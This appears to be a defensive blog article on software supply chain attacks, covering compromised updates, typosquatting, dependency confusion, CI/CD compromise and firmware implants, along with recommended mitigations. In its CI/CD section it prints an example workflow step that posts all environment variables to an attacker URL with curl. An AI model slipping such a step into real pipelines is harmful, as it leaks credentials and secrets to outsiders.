The most elegant cyberattack isn’t breaking through a door — it’s being handed a key by someone the target already trusts. Supply chain attacks exploit that trust by compromising software, tools, or vendors that organisations depend on, turning trusted updates into Trojan horses.
Supply chain attacks increased 742% between 2023 and 2026. They’re behind some of the most significant breaches in history and represent one of the hardest threat categories to defend against.
Why Supply Chain Attacks Are So Dangerous
A conventional attack targets one organisation. A supply chain attack targets the supplier — and every customer they have.
The multiplication effect:
- SolarWinds (2020): Compromised update reached ~18,000 organisations simultaneously
- MOVEit (2023): Single SQLi in a managed file transfer product — 2,700 organisations breached in weeks
- XZ Utils (2024): Near-miss — a backdoor was days from being shipped in Linux distributions used by hundreds of millions of systems
When you compromise a well-trusted piece of software, you’re not breaching one firewall — you’re bypassing thousands of them simultaneously, because every customer has already decided to trust the vendor.
Attack Type 1: Compromised Software Updates
The vendor is legitimately breached, and malicious code is injected into official update packages that customers download and install automatically.
How SolarWinds Orion was compromised:
- Attackers (APT29/Cozy Bear) gained access to SolarWinds’ build environment in early 2020
- They inserted the “Sunburst” backdoor into the Orion software build pipeline — the malicious code was added during the legitimate build process, not patched in afterward
- The malicious build passed all existing security checks because it was compiled by the legitimate build system
- Signed, trusted updates were pushed to 18,000 customers
- The backdoor lay dormant for 14 days before activating, defeating automated sandboxing
- Once active, it mimicked legitimate Orion traffic patterns to blend into normal operations
The genius — and horror — of this attack was that there was no “suspicious file” to detect. The backdoor was compiled into the legitimate product and signed with SolarWinds’ legitimate code signing certificate.
Defence:
- Software Bill of Materials (SBOM): Know every component in your software supply chain
- Binary analysis: Verify compiled binaries against expected build outputs (reproducible builds)
- Code signing certificate monitoring: Alert on unexpected use of your code signing infrastructure
- Network monitoring for vendor software: Orion had legitimate network access, but its traffic patterns were still detectable with careful analysis
Attack Type 2: Malicious Open Source Packages
The open source ecosystem is the backbone of modern software. It’s also a target-rich environment. Attackers publish malicious packages to npm, PyPI, RubyGems, and other repositories hoping developers install them.
Typosquatting
Registering package names that are common misspellings of popular libraries:
# Legitimate
pip install requests
# Malicious typosquat (installs malware)
pip install requets
pip install request
pip install reqeusts
These packages sit dormant, waiting for developers who make a typo. Once installed, they silently harvest AWS credentials, SSH keys, and environment variables.
Real examples from 2025–2026:
ctx(malicious clone ofctxPython package) — harvested environment variablesnode-browserify-lite— dropped cryptocurrency minerultralytics— legitimate AI package compromised to install cryptominer via compromised maintainer account
Dependency Confusion
More sophisticated than typosquatting. Many organisations have private package registries with internal packages. Dependency confusion exploits how package managers resolve names.
The attack:
- Researcher (or attacker) discovers an internal package name (e.g.,
company-internal-utils) through public leak (package.json in a public repo, job postings mentioning internal tooling) - They publish a package with the same name to the public npm registry
- Many package managers, if not explicitly configured, will prefer the public registry over the internal one if the public version has a higher version number
- The malicious public package gets installed instead of the legitimate internal one
This attack was demonstrated by Alex Birsan in 2021 against Microsoft, Apple, PayPal, and 33 other companies simultaneously — all successfully.
Defence:
// npm .npmrc — enforce private registry for scoped packages
@company:registry=https://your-private-registry.com
# pip — use --index-url to specify registry explicitly
pip install --index-url https://your-private-registry/simple/ company-internal-utils
Legitimate Package Takeover
Attackers target the maintainers of popular packages — people who may have published something years ago, no longer actively maintain it, but the package still has millions of weekly downloads.
Methods:
- Social engineering maintainers to hand over ownership
- Targeting maintainer accounts with phishing or credential stuffing
- Purchasing packages from retiring maintainers (legitimate-looking offer, malicious intent)
The event-stream incident (template): A popular npm package with 2 million weekly downloads was transferred to a new maintainer who added a dependency that targeted a specific Bitcoin wallet application. The malicious code ran for 74 days before discovery.
Defence for package consumers:
- Pin exact dependency versions (lockfiles) —
npm ci,pip install -r requirements.txt - Monitor for unexpected version updates with Dependabot or Renovate
- Audit changelogs before updating major packages
- Use Software Composition Analysis (SCA) tools (Snyk, OWASP Dependency-Check)
Defence for package maintainers:
- Enable 2FA on npm/PyPI accounts (required for top packages, but enforced)
- Review pull requests carefully — the XZ Utils attack involved months of social engineering before the malicious commit
- Use environment separation — publish from isolated CI environments, not developer laptops
Attack Type 3: CI/CD Pipeline Compromise
Build pipelines — GitHub Actions, Jenkins, GitLab CI — are high-value targets. Compromising the build process means every artifact produced goes out infected.
Common CI/CD attack vectors:
- Secrets exposed in build logs (
echo $AWS_SECRET_KEY) - Misconfigured pipeline permissions (pull requests from forks can access secrets)
- Compromised third-party Actions/plugins used in pipelines
- SSRF attacks against the build environment’s cloud metadata endpoint
Poisoned Pipeline Execution (PPE): An attacker with write access to a repository — even a fork that submits a PR — can modify pipeline configuration to exfiltrate secrets:
# Malicious modification to .github/workflows/build.yml
- name: Build
run: |
make build
# Silently exfiltrate secrets
curl -d "$(env)" https://attacker.com/collect
The 3CX incident (2023, extended impact through 2026): 3CX, a VoIP software vendor, was breached because one of their developers installed a Trojanised version of a financial software application (itself a supply chain attack). The compromised developer machine was used to sign malicious 3CX updates, which were pushed to 600,000 customer organisations.
Defence:
- Least privilege for CI/CD: Pipelines should have only the permissions they need, no more
- Secret scanning: GitHub, GitLab, and tools like Trufflehog scan repos for accidentally committed credentials
- Pin third-party Actions to commit hashes, not version tags (tags can be moved):
# BAD — tag can be moved to point to malicious commit
uses: actions/checkout@v4
# GOOD — pinned to specific commit hash
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- Separate signing environments: Code signing should happen in an isolated environment, not the same machine that builds code
- Reproducible builds: The same source should always produce the same binary, allowing independent verification
Attack Type 4: Compromised Hardware and Firmware
The deepest supply chain attack: compromising hardware or firmware before it reaches the customer.
Documented incidents:
- The Bloomberg Supermicro allegation (2018): Alleged insertion of a tiny chip onto server motherboards during manufacturing in China — never conclusively proven, but sparked industry-wide hardware security reviews
- UEFI firmware implants: Used by nation-state actors to survive OS reinstallation and disk formatting
- Malicious USB devices: BadUSB attacks where firmware on USB devices emulates a keyboard
Defence:
- Firmware integrity verification (UEFI Secure Boot)
- Hardware procurement from verified supply chains for sensitive use cases
- Physical inspection procedures for high-security environments
Defending Your Software Supply Chain
Know What You’re Running
Software Bill of Materials (SBOM): An SBOM is a formal inventory of every component, library, and dependency in your software. Like a nutritional label, but for code.
# Generate SBOM with Syft
syft your-application:latest -o spdx-json > sbom.json
# Scan SBOM against known vulnerabilities
grype sbom:sbom.json
US government agencies are now required to obtain SBOMs from vendors. Private sector adoption is accelerating.
Verify What You Install
Lock your dependencies. Commit lockfiles (package-lock.json, poetry.lock, Pipfile.lock, Cargo.lock) and use them in CI with npm ci rather than npm install.
Integrity verification:
# npm — check package integrity
npm audit
# pip — verify hash
pip install --require-hashes -r requirements.txt
# Verify a specific package hash
pip download requests && pip hash requests-*.whl
Monitor for Compromise
- Subscribe to vulnerability databases: NVD, OSV.dev, GitHub Security Advisories
- Use Dependabot or Renovate for automated dependency update PRs
- Monitor your package registry for unexpected changes
- Set up alerts on your critical dependencies via libraries.io
Principle of Least Privilege in Your Pipeline
Build systems need only the permissions required for the build. Production deployment credentials shouldn’t exist in the same environment as development builds. Secrets rotation after any suspected compromise.
The Hardest Part: You Can’t Audit Everything
A modern application may depend on hundreds of packages, each of which depends on dozens more. The transitive dependency graph of a typical Node.js application contains thousands of packages from thousands of different maintainers.
You cannot meaningfully audit all of them. This is why the defence focus is on:
- Reducing unnecessary dependencies (do you really need a package just for left-padding a string?)
- Monitoring for changes rather than auditing everything upfront
- Isolating the blast radius — if a dependency is compromised, what can it access?
- Detecting the effects — network monitoring, credential scanning, behavioural detection
Supply chain security isn’t a problem you solve. It’s a risk you manage through good tooling, good process, and staying informed about the threat landscape.
Conclusion
Supply chain attacks are the hardest category of threats to defend against because they weaponise trust — and trust is load-bearing in modern software development. You cannot build anything without depending on something.
The practical response isn’t to stop using dependencies. It’s to know what you’re depending on, verify its integrity, monitor for changes, and limit what compromised dependencies can access. Layer these controls and you significantly raise the bar for attackers — even if you can never reduce the risk to zero.
The XZ Utils backdoor was caught because a Microsoft engineer noticed SSH logins were 500ms slower than expected. That level of attention is what the threat requires.